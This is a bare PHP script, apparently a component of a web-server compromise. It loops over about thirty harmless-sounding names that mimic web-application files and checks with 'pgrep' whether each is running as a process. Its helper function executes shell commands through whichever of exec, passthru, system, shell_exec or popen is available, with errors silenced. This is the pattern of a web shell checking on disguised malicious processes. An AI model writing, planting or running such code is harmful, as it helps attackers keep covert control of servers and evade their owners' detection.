<?php   $files = ['actionprod','UnderFreeElectEN','mlcontent','streams_actions','cache_viewthread','norwegian','room.class','frames_main.js','information','sendmail_actions','recoverpass','CYEC06_2winners','default_download','regions_lang','fonctions','changeDuty','comment_delete','FieldBase.class','useragents.inc','config_server','deleteFields','blocks.class','rate_accept04','usergroup','auth_mnet','commentcategory','xml_domit_shared','a_menu_pannello','eaccelerator','htmlexcel']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }